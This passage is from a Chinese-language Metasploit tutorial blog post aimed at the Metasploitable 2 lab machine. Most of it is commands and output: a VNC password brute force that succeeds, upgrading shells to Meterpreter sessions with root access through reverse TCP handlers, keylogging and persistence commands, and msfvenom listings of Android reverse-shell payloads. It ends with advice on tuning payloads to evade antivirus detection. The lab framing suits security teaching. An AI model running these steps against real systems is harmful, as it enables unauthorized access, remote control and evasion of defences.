  BLANK_PASSWORDS   false                                                             no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                 yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                                             no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                             no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                             no        Add all users in the current database to the list
  PASSWORD                                                                            no        The password to test
  PASS_FILE         /usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt  no        File containing passwords, one per line
  Proxies                                                                             no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                                                                              yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             5900                                                              yes       The target port (TCP)
  STOP_ON_SUCCESS   false                                                             yes       Stop guessing when a credential works for a host
  THREADS           1                                                                 yes       The number of concurrent threads (max one per host)
  USERNAME          <BLANK>                                                           no        A specific username to authenticate as
  USERPASS_FILE                                                                       no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false                                                             no        Try the username as the password for all users
  USER_FILE                                                                           no        File containing usernames, one per line
  VERBOSE           true                                                              yes       Whether to print output for all attempts 
Description:
  This module will test a VNC server on a range of machines and report 
  successful logins. Currently it supports RFB protocol version 3.3, 
  3.7, 3.8 and 4.001 using the VNC challenge response authentication 
  method.
  References:
  https://nvd.nist.gov/vuln/detail/CVE-1999-0506

我们可以看到此模块将采用的选项。描述也在那里。从描述中可以清楚地看出,这是一个将尝试暴力破解的模块。另一个值得注意的事实是,该模块支持 RFB 协议版本 3.3,该协议编写在我们发现的 VNC 服务(协议 3.3)中。如果您想知道为什么这是相关的 - VNC 服务使用 RFB 协议。因此,该模块与我们受害者机器中的VNC服务兼容。让我们继续前进。

我们已经看到了这个模块将从“info”命令中获取的选项。标记为黄色的选项是重要的选项。不过,并非所有这些都是必需的。我们可以看到暴力破解的默认密码文件(PASS_FILE)将是(/usr/share/Metasploit-framework/data/wordlists/vnc_passwords.txt)。我们不会更改此文件。如果您正在执行不可 Metasploitable 的真实世界测试,则可能需要更改此测试。我们必须定义 RHOSTS。让我们也打开STOP_ON_SUCCESS,一旦找到正确的凭据,它将停止攻击。我们还将增加 THREADS 以加快操作速度,并将 USER_AS_PASS 设置为 true,这也将使用相同的用户名和密码。让我们设置这些:

msf6 auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.0.133
RHOSTS => 192.168.0.133
msf6 auxiliary(scanner/vnc/vnc_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/vnc/vnc_login) > set THREADS 32
THREADS => 32
msf6 auxiliary(scanner/vnc/vnc_login) > set USER_AS_PASS true
USER_AS_PASS => true

现在您可以开始运行暴力破解了:

msf6 auxiliary(scanner/vnc/vnc_login) > run

[*] 192.168.0.133:5900   - 192.168.0.133:5900 - Starting VNC login sweep
[!] 192.168.0.133:5900   - No active DB -- Credential data will not be saved!
[-] 192.168.0.133:5900   - 192.168.0.133:5900 - LOGIN FAILED: :<BLANK> (Incorrect: Authentication failed)
[+] 192.168.0.133:5900   - 192.168.0.133:5900 - Login Successful: :password

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

暴力破解尝试成功。我们也可以看到这对。这里没有设置用户名,密码只是.在实际系统中,大多数时候密码不会这么简单。但是,现在您知道如何暴力破解VNC身份验证。
现在,让我们尝试使用破解的凭据登录VNC。我将使用命令,后跟受害者机器的 IP 地址:

msf6 auxiliary(scanner/vnc/vnc_login) > vncviewer 192.168.0.133
[*] exec: vncviewer 192.168.0.133

Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password:

此时,您必须提供密码。输入,您将进入:

msf6 auxiliary(scanner/vnc/vnc_login) > vncviewer 192.168.0.133
[*] exec: vncviewer 192.168.0.133
Connected to RFB server, using protocol version 3.3
Performing standard VNC authentication
Password: 
Authentication successful
Desktop name "root's X desktop (metasploitable:0)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0

你想看看我们刚才破解的 Metasploitable 的 GUI 版本吗?这是来自TightVNC应用程序的视图。
在这里插入图片描述
这太棒了。现在,您几乎可以做任何您想做的事情。现在我们已经向您展示了 3 种使用 Metasploit 框架利用 Metasploitable 的方法,现在是时候向您展示获得访问权限后可能需要做的事情了。

使用 Metasploit 和 Meterpreter 的后期开发任务

利用后,您可以执行的任务之一是在处理 Metasploit 框架时将会话保持在后台。我们已经在上一节中向您展示了如何执行此操作。但是,如果您退出会话,则打开的会话将消失。

您将需要再次利用该计算机来获取另一个会话。如果受害者选择重新启动计算机,也会发生同样的事情。在本节中,我们将向您展示即使受害者重新启动他/她的机器,如何保持您的访问权限。

利用目标后最有用的工具之一是Meterpreter shell。它内置了许多自定义功能,您无需制作程序或安装任何软件即可执行。

什么是Meterpreter?

Meterpreter是一个Metasploit有效载荷,它提供了一个交互式shell,攻击者可以在受害者系统上使用和执行代码。它使用内存中 DLL 注入进行部署。这允许Meterpreter完全部署在内存中,并且不会向磁盘写入任何内容。没有新的进程,因为Meterpreter被注入到受影响的进程中。它也可能转移到其他操作流程。因此,Meterpreter的法医足迹非常小。

从shell升级到sessions

Meterpreter是Metasploit的高级有效载荷,在利用系统后提供了许多功能。但是,如果您注意到,我们没有从漏洞中获得任何仪表会话。

事实上,这些漏洞利用没有将 meterpreter 设置为有效载荷的选项。让我们学习如何从 shell 升级到 meterpreter。让我们看看我们首先使用以下命令进行的会话

sessions
Active sessions
===============

  Id  Name  Type            Information  Connection
  ‐‐  ‐‐‐‐  ‐‐‐‐            ‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐
  2         shell cmd/unix               0.0.0.0:0 -> 192.168.0.133:6200 (192.168.0.133)
  4         shell cmd/unix               192.168.0.133:4444 -> 192.168.0.145:33209 (192.168.0.145)

如您所见,我们现在有两个会话,ID 为 2 和 4。这两个会话都是 unix cmd 外壳类型。现在让我们尝试升级到 meterpreter。为此,我们将利用以下漏洞:

search shell to meterpreter upgrade
Matching Modules
================

   #  Name                                          Disclosure Date  Rank       Check  Description
   ‐  ‐‐‐‐                                          ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐       ‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   0  post/multi/manage/shell_to_meterpreter                         normal     No     Shell to Meterpreter Upgrade
   1  exploit/windows/local/powershell_cmd_upgrade  1999-01-01       excellent  No     Windows Command Shell Upgrade (Powershell)


Interact with a module by name or index. For example info 1, use 1 or use exploit/windows/local/powershell_cmd_upgrade

让我们使用第一个:

msf6 auxiliary(scanner/vnc/vnc_login) > use 0
msf6 post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ‐‐‐‐     ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

现在我们必须指定选项。还记得会话的 ID?让我们尝试升级会话 ID 4:

msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 4
SESSION => 4

现在利用:

msf6 post(multi/manage/shell_to_meterpreter) > exploit
[*] Upgrading session ID: 4
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.74.128:4433 
[*] Sending stage (984904 bytes) to 192.168.74.129
[*] Meterpreter session 6 opened (192.168.74.128:4433 -> 192.168.74.129:46735) at 2022-02-07 10:08:39 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

此漏洞利用在第一次可能无法正常工作。继续重试,直到它起作用。现在让我们再次看一下这些会话:

msf6 post(multi/manage/shell_to_meterpreter) > sessions
Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  2         shell cmd/unix                                                                                           0.0.0.0:0 -> 192.168.74.129:6200 (192.168.74.129)
  4         shell cmd/unix                                                                                           192.168.74.128:4444 -> 192.168.74.129:33209 (192.168.74.129)
  6         meterpreter x86/linux  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.74.128:4433 -> 192.168.74.129:46735 (192.168.74.129)

还有另一个选项可以使用以下命令将 shell 会话升级到 meterpreter:

msf6 post(multi/manage/shell_to_meterpreter) > sessions -u 2
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2]

[*] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.74.128:4433 
[*] Sending stage (984904 bytes) to 192.168.74.129
[*] Meterpreter session 3 opened (192.168.74.128:4433 -> 192.168.74.129:46599) at 2023-02-01 11:15:16 

这是一种更简单的方法。您可以使用“会话”命令终止任何会话,该命令使用“-k”标志后跟会话 ID。您可以使用带有会话命令的“-i”标志与任何会话进行交互。让我们打开我们刚刚得到的会话 3 –

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...
meterpreter >

如您所见,现在我们在仪表。仪表控制台可以做很多事情。您可以键入以获取 meterpreter 支持的命令列表。让我们找出meterpreter可以执行的一些功能。

Meterpreter功能

Meterpreter为您提供了大量选项供您探索。您可以通过在 meterpreter 控制台中键入“帮助”来获取命令。您可以使用 Linux 的基本导航命令导航受害计算机。您还可以将一些文件下载或上传到受害者系统。有一个搜索选项可以使用您想要的关键字搜索受害者机器:
您可以使用该命令列出在受害计算机中运行的进程。有一个选项可以查看托管计量器的进程的 PID

meterpreter > getpid
Current pid: 5390

在 Windows 系统中,您可以使用该命令将计量器迁移到另一个进程。您还可以通过使用 和 获取击键,具体取决于系统。在我们的受害者机器上,不支持以下命令:

meterpreter > keyscan_start
[-] The "keyscan_start" command is not supported by this Meterpreter type (x86/linux)

您始终可以从命令中找到功能。永远记住,只要您具有命令执行能力,您就可以将脚本上传到受害者机器,该脚本将为您完成工作。

持续停留在被利用的计算机上

正如我们之前告诉您的,如果受害系统重新启动,您将失去活动会话。您可能需要再次利用该系统或从头开始整个过程 - 这可能是不可能的。如果您的受害者机器运行Windows,则在Metasploit中有一个选项,它将使您的访问持久化。为此,您必须使用:

meterpreter > run persistence

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[-] x86/linux version of Meterpreter is not supported with this Script!

如您所见,此命令在我们的受害者系统中不起作用。这是因为它运行在Linux上。但是,还有一个替代选项可以在 Linux 计算机上保持访问持久。

使用 msfvenom 创建自定义有效负载

msfvenom是 Metasploit 框架附带的工具。

使用此工具,您可以创建针对特定目标和要求量身定制的自定义有效负载。此外,您可以将有效负载与其他文件附加,从而降低有效负载的可疑性。您还可以编辑有效负载的代码并更改它们以逃避威胁检测系统的检测。您可以通过键入 来查看所有可用的选项。msfvenom msfvenom -h

检查用于创建有效负载的所有选项

要查看用于创建有效负载的所有选项,您可以使用标志后跟模块类型列出模块 - 在我们的例子中将是有效负载。

msfvenom -l payloads

你将在输出中获得一长串有效负载。您可以使用命令根据自己的喜好缩小结果范围。假设我想为 Android 创建有效负载。我将使用以下方法来列出有效负载:

msfvenom -l payloads | grep android
android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP
    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS
    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager
    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell
    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell
    android/shell/reverse_http                          Spawn a piped command shell (sh). Tunnel communication over HTTP
    android/shell/reverse_https                         Spawn a piped command shell (sh). Tunnel communication over HTTPS
    android/shell/reverse_tcp                           Spawn a piped command shell (sh). Connect back stager

现在,假设我想使用标记的有效负载 ()。我需要知道我必须设置哪些选项。要查看有效负载的选项,您必须使用标志来指定有效负载和标志,如下所示:

msfvenom -p android/meterpreter/reverse_tcp --list-options
Options for payload/android/meterpreter/reverse_tcp:
=========================


       Name: Android Meterpreter, Android Reverse TCP Stager
     Module: payload/android/meterpreter/reverse_tcp
   Platform: Android
       Arch: dalvik
Needs Admin: No
 Total size: 10175
       Rank: Normal

Provided by:
    mihi
    egypt <egypt@metasploit.com>
    OJ Reeves

Basic options:
Name   Current Setting  Required  Description
‐‐‐‐   ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐
LHOST                   yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port

Description:
  Run a meterpreter server in Android. Connect back stager



Advanced options for payload/android/meterpreter/reverse_tcp:
=========================

    Name                         Current Setting  Required  Description
    ----                         ---------------  --------  -----------
    AndroidHideAppIcon           false            no        Hide the application icon automatically after launch
    AndroidMeterpreterDebug      false            no        Run the payload in debug mode, with logging enabled
    AndroidWakelock              true             no        Acquire a wakelock before starting the payload
    AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
    AutoRunScript                                 no        A script to run automatically on session creation.
    AutoSystemInfo               true             yes       Automatically capture system information on initialization.
    AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
    AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
    EnableStageEncoding          false            no        Encode the second stage payload
    EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
    HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
    InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
    PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
    PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
    PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
    PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
    PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
    PingbackRetries              0                yes       How many additional successful pingbacks
    PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
    ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
    ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
    ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
    ReverseListenerComm                           no        The specific communication channel to use for this listener
    ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
    SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
    SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
    SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
    SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
    StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
    StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
    StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
    StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
    StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
    VERBOSE                      false            no        Enable detailed status messages
    WORKSPACE                                     no        Specify the workspace for this module

Evasion options for payload/android/meterpreter/reverse_tcp:
=========================

    Name  Current Setting  Required  Description
    ‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐  ‐‐‐‐‐‐‐‐‐‐‐

如您所见,此漏洞有很多选项。选项分为两类。基本选项和高级选项。只需设置基本选项即可创建有效负载。但是,高级选项也非常重要。它们提供定制,并在逃避威胁检测系统方面发挥着至关重要的作用。

您可以修改它们并检查有多少防病毒软件将其检测为威胁。许多在线网站允许您检查有效载荷。但请记住,这些系统可能会存储您的数据并将其添加到防病毒数据库中,从而使您的有效负载被更频繁地检测到。

VirusTotal 是一个允许您上传文件并检查病毒的网站。几乎所有的防病毒软件包(avast,avg,eset等)都有在线病毒检查器。在本文的最后,您将看到我在这些网站上测试我们的有效负载。


结论

在本教程中,您了解了从基础到高级的 Metasploit 框架。您可以尝试和练习以自己了解更多信息。

我们向您展示了如何在故意易受攻击的机器Metasploitable 2上使用Metasploit。实际上,这些类型的过时和易受攻击的机器现在可能不存在。但是,有很多媒介可能从中发起攻击。继续学习。

  • 7
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

「已注销」

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值